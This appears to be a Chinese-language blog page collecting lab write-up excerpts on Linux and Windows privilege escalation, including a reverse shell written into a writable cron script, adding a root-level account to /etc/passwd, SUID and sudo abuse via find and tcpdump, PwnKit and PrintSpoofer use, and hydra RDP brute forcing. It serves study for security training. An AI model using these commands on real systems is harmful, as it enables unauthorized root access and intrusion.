發表文章

目前顯示的是有「Privilege」標籤的文章

Linux 提權 Capstone Exercise

圖片
 Linux 提權 Capstone Exercise Q2 : 透過下載這個 PwnKit  https://github.com/ly4k/PwnKit ,上傳到目標機 然後利用手動的方式執行如下 直接就提權拿到 root 與拿 flag Q3 : cat /var/log/cron.log 發現一直在跑一個 archiver find / -type f -name archiver 2>/dev/null 路徑在 /etc/cron.hourly/archiver ls -lah /etc/cron.hourly/archiver --> GG 沒權限 cat /etc/cron.hourly/archiver 看一下內容發現會去跑 /var/archives/archive.sh ls -lah /var/archives/archive.sh --> 777 賓果 寫一行吧 bash -c "bash -i >& /dev/tcp/192.168.45.236/4444 0>&1" 4444 來了,whoami & id 確認是 root,直接拿答案吧 Q4 : 經過一番枚舉發現 /etc/passwd 有寫入的權限,那就標準作業 openssl passwd w00t --> 5RuYtykGkkWWc 寫入 root2 : echo "root2:5RuYtykGkkWWc:0:0:root:/root:/bin/bash" >> /etc/passwd cat /etc/passwd 確認寫入 root2 su root2 輸入 w00t 看一下 whoami & id 拿 flag 吧 Q5 : 經過一番枚舉在查找特殊權限 s 的時候如下 find / -perm -u=s -type f 2>/dev/null 一個一個嘗試 SUID 後在 find 指令發現可以提權 ./find . -exec /bin/sh -p \; -quit whoami 確認一下是 root 後直接拿 flag

濫用 Linux Sudo

圖片
 濫用 Linux Sudo 要能夠使用 sudo,當下 interactive 的低權限使用者帳號必須是 sudo 群組的成員 可以透過 /etc/sudoers 檔案查看相關權限,要列出可以 sudo 的使用者可以用 sudo -l or --list sudo --list 從最後一行來看  (ALL) /usr/bin/crontab -l, /usr/sbin/tcpdump, /usr/bin/apt-get 只有三個指令 corntab、tcpdump、apt-get 被列為允許 sudo 指令 如果 /etc/sudoers 配置過於寬鬆,使用者可濫用短期管理權限來獲得永久 root 存取權 再細看上面的 corntab 使用了 -l 參數所以不允許該帳號編輯任何 crontab,因此不太可能使用它來查找任何提權方式,可將目標直接放到第二個、第三個指令上 記得上一節提到的 GTFObins 好用網站  https://gtfobins.github.io/   讓我們直接查看 tcpdump 的相關 sudo 利用  https://gtfobins.github.io/gtfobins/tcpdump/#sudo 讓我們依照指令輸入試試看 COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root 結果 GG,dropped privs to root........Permission denied,使用者與權限仍是 joe 查看一下 log 查明是甚麼原因遭到 Permission denied cat /var/log/syslog | grep tcpdump Log 中寫明 audit: type=1400 audit(1696494056.835:24): apparmor="DENIED" audit 守護程式已記錄了權限提升嘗試,另 AppArmor 被觸發並阻止了此動作 AppArmor 是一個核心模組,它透過運行各種特定於應用程式的設定檔在 Linux 系統上提供強制存取控制...

濫用 Linux SetUID 二進位檔案

圖片
 濫用 Linux SetUID 二進位檔案 當使用者或系統自動腳本啟動時,會繼承其啟動腳本的 UID/GID:這稱為真實 UID/GID 試想一個問題,Linux 上所有的東西都可以視為物件 object,那使用者密碼以雜湊值形式儲存在 /etc/shadow 中的密碼,該檔案僅由 root (uid=0) 擁有和寫入。那當使用者修改密碼時,非特權使用者帳號是如何存取該檔案來更改自己的密碼呢? 為了解決這個問題,Linux 引入了有效 UID/GID,它代表執行敏感操作時檢查的實際值 首先透過一般使用者 joe 登入系統然後執行 passwd,這是修改密碼的指令 但我們執行後不要做任何動作與修改密碼就這樣放著他 開啟另外一個 Shell 輸入 ps u -C passwd 查看當下的近程如下圖,可以看到該進程是由 root 的權限執行的而不是 joe,另外可以看到 PID 是 1497 讓我們用 grep Uid /proc/1497/status 來查看分配給該進程的真實 UID 和有效 UID 四個 UID 分別表示真實、有效、保存集和檔案系統 UID 相對應的四個參數 由於是由 joe 所執行 passwd 所以真實 UID 為 1000 表示該帳號的 UID 沒有問題 但可以注意到有效、保存集和檔案系統 UID 都是 0,這表示是 root 的 UID 我們目前開了兩個 tty,查看 joe 的 bash Process 與確認 UID 如下 可以看到當查看 PID 1559 第二個 tty 的狀態時四個 UID 都是 1000 表示 joe 那為什麼 passwd 會出現 1000     0     0     0 呢,讓我看一下該檔案的權限 ls -asl /usr/bin/passwd,可以看到有一個 s,這表示 SetUID (Set-User-ID) 的意思 SUID 標誌在上面的輸出中以 s 標誌表示。可以使用 chmod u+s <filename> 指令來設定此標誌 並將正在執行的程序的有效 UID 設定為執行檔擁有者的使用者 ID 在上述的 /etc/passwd 中即為 root 使用者 ID 使用此技術會導致合法且受限的權限升級,因此...

濫用 Linux 密碼提權

圖片
 濫用 Linux 密碼提權 除非使用集中式憑證系統(例如 Active Directory 或 LDAP),否則 Linux 密碼通常儲存在 /etc/shadow 中,帳號則可以在 /etc/passwd 中察看 但有時密碼雜湊值也會存在 /etc/passwd 檔案中 如果 /etc/passwd 使用者記錄的第二列中存在密碼雜湊 ,則它被視為對身份驗證有效 並且優先於/etc/shadow 中的相應條目 預設在 linux 中 openssl 採用 crypt 演算法來產生密碼的雜湊值 讓我們一樣透過 joe 登入到靶機並查看 /etc/passwd 的權限 發現其他使用者擁有 rw 的權限,意味著我們可以直接修改編輯該檔案 接著使用 openssl 產生一個密碼 w00t 的雜湊值 openssl passwd w00t 然後塞入一個新的超級使用者 root2 與密碼雜湊值 echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd 接著試著使用 su root2 提權,並輸入剛剛建立的密碼 w00t 就可以看到拿到 root 了 接著拿 flag 吧

Windows 漏洞利用

圖片
 Windows 漏洞利用 練習 1 靶機 IP 192.168.240.220,使用 PrintSpoofer 取得程式碼執行並提權,或取 daveadmin 桌面的 flag 該機器 4444 Port 已經有個一般使用者的 Remote Shell 第一步 nc 4444 到靶機然後 whoami /priv 查一下此 Shell 的使用者權限 馬上看到 SeImpersonatePrivilege 的狀態是 Enable,那就妥了 題目寫要利用 PrintSpoofer ,所以直接去下載一個該工具的 64 版本 wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe 然後透過 iwr GET 載入到靶機 iwr -uri http://192.168.45.214/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe 要使用 PrintSpoofer64.exe 在 NT AUTHORITY\SYSTEM 上下文中取得互動式 PowerShell Session,我們使用參數 -c 來指定我們要執行的命令 powershell.exe,並透過參數 -i 來與當前進程進行交互命令提示符。 指令 : .\PrintSpoofer64.exe -i -c powershell.exe 原本是 dave,執行完後 whoami 變成 nt authority\system 可以拿 flag 了 練習 2 靶機 IP 192.168.240.222,提權並獲取 enterpriseadmin 桌面的 flag 該機器 4444 Port 已經有個一般使用者的 Remote Shell nc 後查看權限,有 Enable 的是 SeChangeNotifyPrivilege,暫時沒戲 接著在 Documents 底下發現很多文件檔,note2.txt 有寫預設密碼是 WelcomeToWinter0121 那就 net user 一下建立使用者帳號檔案 w32user.txt 然後 hydra RDP 破破看 hydra -L /home/kali/w...